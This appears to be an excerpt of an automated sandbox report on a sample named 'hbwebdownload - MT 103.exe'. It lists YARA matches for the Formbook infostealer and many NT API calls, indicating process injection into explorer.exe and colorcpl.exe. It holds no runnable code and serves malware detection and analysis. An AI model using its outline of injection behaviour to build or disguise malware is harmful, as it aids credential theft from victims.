          Source: 00000007.00000002.4523888584.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000000.00000002.2092991914.000000000484A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000000.00000002.2092991914.000000000484A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000000.00000002.2092991914.000000000484A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000007.00000002.4524319373.0000000002BF0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000007.00000002.4524319373.0000000002BF0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000007.00000002.4524319373.0000000002BF0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: Process Memory Space: hbwebdownload - MT 103.exe PID: 1992, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: Process Memory Space: hbwebdownload - MT 103.exe PID: 3668, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: Process Memory Space: colorcpl.exe PID: 1412, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0041A330 NtCreateFile,4_2_0041A330
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0041A3E0 NtReadFile,4_2_0041A3E0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0041A460 NtClose,4_2_0041A460
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0041A510 NtAllocateVirtualMemory,4_2_0041A510
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0041A2EA NtCreateFile,4_2_0041A2EA
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0041A32A NtCreateFile,4_2_0041A32A
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0041A3DA NtReadFile,4_2_0041A3DA
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0041A45E NtClose,4_2_0041A45E
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0041A50A NtAllocateVirtualMemory,4_2_0041A50A
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012C2B60 NtClose,LdrInitializeThunk,4_2_012C2B60
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012C2BF0 NtAllocateVirtualMemory,LdrInitializeThunk,4_2_012C2BF0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012C2AD0 NtReadFile,LdrInitializeThunk,4_2_012C2AD0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012C2D30 NtUnmapViewOfSection,LdrInitializeThunk,4_2_012C2D30
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012C2D10 NtMapViewOfSection,LdrInitializeThunk,4_2_012C2D10
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012C2DF0 NtQuerySystemInformation,LdrInitializeThunk,4_2_012C2DF0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012C2DD0 NtDelayExecution,LdrInitializeThunk,4_2_012C2DD0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012C2C70 NtFreeVirtualMemory,LdrInitializeThunk,4_2_012C2C70
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012C2CA0 NtQueryInformationToken,LdrInitializeThunk,4_2_012C2CA0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012C2F30 NtCreateSection,LdrInitializeThunk,4_2_012C2F30
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012C2FB0 NtResumeThread,LdrInitializeThunk,4_2_012C2FB0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012C2F90 NtProtectVirtualMemory,LdrInitializeThunk,4_2_012C2F90
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012C2FE0 NtCreateFile,LdrInitializeThunk,4_2_012C2FE0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012C2EA0 NtAdjustPrivilegesToken,LdrInitializeThunk,4_2_012C2EA0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012C2E80 NtReadVirtualMemory,LdrInitializeThunk,4_2_012C2E80
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012C4340 NtSetContextThread,4_2_012C4340
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012C4650 NtSuspendThread,4_2_012C4650
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012C2BA0 NtEnumerateValueKey,4_2_012C2BA0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012C2B80 NtQueryInformationFile,4_2_012C2B80
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012C2BE0 NtQueryValueKey,4_2_012C2BE0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012C2AB0 NtWaitForSingleObject,4_2_012C2AB0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012C2AF0 NtWriteFile,4_2_012C2AF0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012C2D00 NtSetInformationFile,4_2_012C2D00
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012C2DB0 NtEnumerateKey,4_2_012C2DB0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012C2C00 NtQueryInformationProcess,4_2_012C2C00
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012C2C60 NtCreateKey,4_2_012C2C60
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012C2CF0 NtOpenProcess,4_2_012C2CF0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012C2CC0 NtQueryVirtualMemory,4_2_012C2CC0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012C2F60 NtCreateProcessEx,4_2_012C2F60
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012C2FA0 NtQuerySection,4_2_012C2FA0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012C2E30 NtWriteVirtualMemory,4_2_012C2E30
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012C2EE0 NtQueueApcThread,4_2_012C2EE0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012C3010 NtOpenDirectoryObject,4_2_012C3010
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012C3090 NtSetValueKey,4_2_012C3090
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012C35C0 NtCreateMutant,4_2_012C35C0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012C39B0 NtGetContextThread,4_2_012C39B0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012C3D10 NtOpenProcessToken,4_2_012C3D10
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012C3D70 NtOpenThread,4_2_012C3D70
          Source: C:\Windows\explorer.exeCode function: 6_2_0E7E1232 NtCreateFile,6_2_0E7E1232
          Source: C:\Windows\explorer.exeCode function: 6_2_0E7E2E12 NtProtectVirtualMemory,6_2_0E7E2E12
          Source: C:\Windows\explorer.exeCode function: 6_2_0E7E2E0A NtProtectVirtualMemory,6_2_0E7E2E0A
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04812CA0 NtQueryInformationToken,LdrInitializeThunk,7_2_04812CA0
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04812C60 NtCreateKey,LdrInitializeThunk,7_2_04812C60
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04812C70 NtFreeVirtualMemory,LdrInitializeThunk,7_2_04812C70
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04812DD0 NtDelayExecution,LdrInitializeThunk,7_2_04812DD0
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04812DF0 NtQuerySystemInformation,LdrInitializeThunk,7_2_04812DF0
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04812D10 NtMapViewOfSection,LdrInitializeThunk,7_2_04812D10
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04812EA0 NtAdjustPrivilegesToken,LdrInitializeThunk,7_2_04812EA0
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04812FE0 NtCreateFile,LdrInitializeThunk,7_2_04812FE0
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04812F30 NtCreateSection,LdrInitializeThunk,7_2_04812F30
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04812AD0 NtReadFile,LdrInitializeThunk,7_2_04812AD0
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04812BE0 NtQueryValueKey,LdrInitializeThunk,7_2_04812BE0
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04812BF0 NtAllocateVirtualMemory,LdrInitializeThunk,7_2_04812BF0
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04812B60 NtClose,LdrInitializeThunk,7_2_04812B60
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_048135C0 NtCreateMutant,LdrInitializeThunk,7_2_048135C0
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04814650 NtSuspendThread,7_2_04814650
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04814340 NtSetContextThread,7_2_04814340
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04812CC0 NtQueryVirtualMemory,7_2_04812CC0
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04812CF0 NtOpenProcess,7_2_04812CF0
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04812C00 NtQueryInformationProcess,7_2_04812C00
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04812DB0 NtEnumerateKey,7_2_04812DB0
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04812D00 NtSetInformationFile,7_2_04812D00
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04812D30 NtUnmapViewOfSection,7_2_04812D30
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04812E80 NtReadVirtualMemory,7_2_04812E80
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04812EE0 NtQueueApcThread,7_2_04812EE0
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04812E30 NtWriteVirtualMemory,7_2_04812E30
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04812F90 NtProtectVirtualMemory,7_2_04812F90
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04812FA0 NtQuerySection,7_2_04812FA0
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04812FB0 NtResumeThread,7_2_04812FB0
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04812F60 NtCreateProcessEx,7_2_04812F60
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04812AB0 NtWaitForSingleObject,7_2_04812AB0
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04812AF0 NtWriteFile,7_2_04812AF0
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04812B80 NtQueryInformationFile,7_2_04812B80
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04812BA0 NtEnumerateValueKey,7_2_04812BA0
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04813090 NtSetValueKey,7_2_04813090
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04813010 NtOpenDirectoryObject,7_2_04813010
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04813D10 NtOpenProcessToken,7_2_04813D10
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04813D70 NtOpenThread,7_2_04813D70
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_048139B0 NtGetContextThread,7_2_048139B0
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_005CA330 NtCreateFile,7_2_005CA330
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_005CA3E0 NtReadFile,7_2_005CA3E0
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_005CA460 NtClose,7_2_005CA460
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_005CA510 NtAllocateVirtualMemory,7_2_005CA510
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_005CA2EA NtCreateFile,7_2_005CA2EA
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_005CA32A NtCreateFile,7_2_005CA32A
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_005CA3DA NtReadFile,7_2_005CA3DA
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_005CA45E NtClose,7_2_005CA45E
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_005CA50A NtAllocateVirtualMemory,7_2_005CA50A
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_0469A036 NtQueryInformationProcess,NtSuspendThread,NtSetContextThread,NtQueueApcThread,NtResumeThread,7_2_0469A036
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04699BAF NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtUnmapViewOfSection,NtClose,7_2_04699BAF
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_0469A042 NtQueryInformationProcess,7_2_0469A042
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04699BB2 NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,7_2_04699BB2
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 0_2_0156D5BC0_2_0156D5BC
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 0_2_07568F300_2_07568F30
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 0_2_07563F200_2_07563F20
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 0_2_07561E480_2_07561E48
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 0_2_075644300_2_07564430
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 0_2_075622700_2_07562270
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 0_2_07561A100_2_07561A10
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 0_2_075622800_2_07562280
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_004010304_2_00401030
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0041D89D4_2_0041D89D
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0041DA884_2_0041DA88
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0041DBA84_2_0041DBA8
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_00402D874_2_00402D87
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_00402D904_2_00402D90
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_00409E5B4_2_00409E5B
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_00409E604_2_00409E60
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0041DFD54_2_0041DFD5
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0041E7924_2_0041E792
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_00402FB04_2_00402FB0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012801004_2_01280100
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0132A1184_2_0132A118
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_013181584_2_01318158
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_013441A24_2_013441A2
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_013501AA4_2_013501AA
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_013481CC4_2_013481CC
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_013220004_2_01322000
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0134A3524_2_0134A352
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_013503E64_2_013503E6
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0129E3F04_2_0129E3F0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_013302744_2_01330274
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_013102C04_2_013102C0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012905354_2_01290535
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_013505914_2_01350591
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_013344204_2_01334420
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_013424464_2_01342446
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0133E4F64_2_0133E4F6
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012907704_2_01290770
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012B47504_2_012B4750
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0128C7C04_2_0128C7C0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012AC6E04_2_012AC6E0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012A69624_2_012A6962
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012929A04_2_012929A0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0135A9A64_2_0135A9A6
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0129A8404_2_0129A840
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012928404_2_01292840
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012768B84_2_012768B8
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012BE8F04_2_012BE8F0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0134AB404_2_0134AB40
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01346BD74_2_01346BD7
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0128EA804_2_0128EA80
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0129AD004_2_0129AD00
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0132CD1F4_2_0132CD1F
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012A8DBF4_2_012A8DBF
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0128ADE04_2_0128ADE0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01290C004_2_01290C00
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01330CB54_2_01330CB5
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01280CF24_2_01280CF2
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01332F304_2_01332F30
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012D2F284_2_012D2F28
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012B0F304_2_012B0F30
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01304F404_2_01304F40
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0130EFA04_2_0130EFA0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0129CFE04_2_0129CFE0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01282FC84_2_01282FC8
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0134EE264_2_0134EE26
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01290E594_2_01290E59
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0134CE934_2_0134CE93
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012A2E904_2_012A2E90
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0134EEDB4_2_0134EEDB
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012C516C4_2_012C516C
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0127F1724_2_0127F172
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0135B16B4_2_0135B16B
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0129B1B04_2_0129B1B0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0134F0E04_2_0134F0E0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_013470E94_2_013470E9
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012970C04_2_012970C0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0133F0CC4_2_0133F0CC
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0134132D4_2_0134132D
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0127D34C4_2_0127D34C
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012D739A4_2_012D739A
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012952A04_2_012952A0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_013312ED4_2_013312ED
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012AB2C04_2_012AB2C0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_013475714_2_01347571
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0132D5B04_2_0132D5B0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_013595C34_2_013595C3
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0134F43F4_2_0134F43F
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012814604_2_01281460
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0134F7B04_2_0134F7B0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012D56304_2_012D5630
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_013416CC4_2_013416CC
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_013259104_2_01325910
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012999504_2_01299950
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012AB9504_2_012AB950
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012FD8004_2_012FD800
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012938E04_2_012938E0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0134FB764_2_0134FB76
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012AFB804_2_012AFB80
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01305BF04_2_01305BF0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012CDBF94_2_012CDBF9
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01303A6C4_2_01303A6C
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01347A464_2_01347A46
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0134FA494_2_0134FA49
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012D5AA04_2_012D5AA0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01331AA34_2_01331AA3
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0132DAAC4_2_0132DAAC
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0133DAC64_2_0133DAC6
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01347D734_2_01347D73
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01293D404_2_01293D40
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01341D5A4_2_01341D5A
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012AFDC04_2_012AFDC0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01309C324_2_01309C32
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0134FCF24_2_0134FCF2
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0134FF094_2_0134FF09
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0134FFB14_2_0134FFB1
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01291F924_2_01291F92
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01299EB04_2_01299EB0
          Source: C:\Windows\explorer.exeCode function: 6_2_0E6F82326_2_0E6F8232
          Source: C:\Windows\explorer.exeCode function: 6_2_0E6F2B326_2_0E6F2B32
          Source: C:\Windows\explorer.exeCode function: 6_2_0E6F2B306_2_0E6F2B30
          Source: C:\Windows\explorer.exeCode function: 6_2_0E6F70366_2_0E6F7036
          Source: C:\Windows\explorer.exeCode function: 6_2_0E6EE0826_2_0E6EE082
          Source: C:\Windows\explorer.exeCode function: 6_2_0E6EFD026_2_0E6EFD02
          Source: C:\Windows\explorer.exeCode function: 6_2_0E6F59126_2_0E6F5912
          Source: C:\Windows\explorer.exeCode function: 6_2_0E6FB5CD6_2_0E6FB5CD
          Source: C:\Windows\explorer.exeCode function: 6_2_0E7E12326_2_0E7E1232
          Source: C:\Windows\explorer.exeCode function: 6_2_0E7E00366_2_0E7E0036
          Source: C:\Windows\explorer.exeCode function: 6_2_0E7D70826_2_0E7D7082
          Source: C:\Windows\explorer.exeCode function: 6_2_0E7DBB306_2_0E7DBB30
          Source: C:\Windows\explorer.exeCode function: 6_2_0E7DBB326_2_0E7DBB32
          Source: C:\Windows\explorer.exeCode function: 6_2_0E7DE9126_2_0E7DE912
          Source: C:\Windows\explorer.exeCode function: 6_2_0E7D8D026_2_0E7D8D02
          Source: C:\Windows\explorer.exeCode function: 6_2_0E7E45CD6_2_0E7E45CD
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_0488E4F67_2_0488E4F6
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_048844207_2_04884420
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_048924467_2_04892446
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_048A05917_2_048A0591
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_047E05357_2_047E0535
